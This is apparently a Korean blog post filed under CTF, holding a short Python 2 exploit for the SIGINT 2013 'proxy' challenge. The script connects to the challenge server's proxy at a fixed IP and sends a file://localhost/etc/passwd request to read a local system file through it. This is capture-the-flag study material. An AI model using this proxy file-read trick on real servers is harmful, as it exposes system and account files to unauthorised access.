본문 바로가기

Computer Security/CTF

[SIGINT 2013] proxy exploit




from socket import *
import sys
 
s = socket(AF_INET, SOCK_STREAM)
s.connect(('188.40.147.125',8080))
#s.connect(('localhost',8080))
s.send("GET file://localhost/etc/passwd HTTP/1.1\r\n\r\n")
get=s.recv(65000)
print get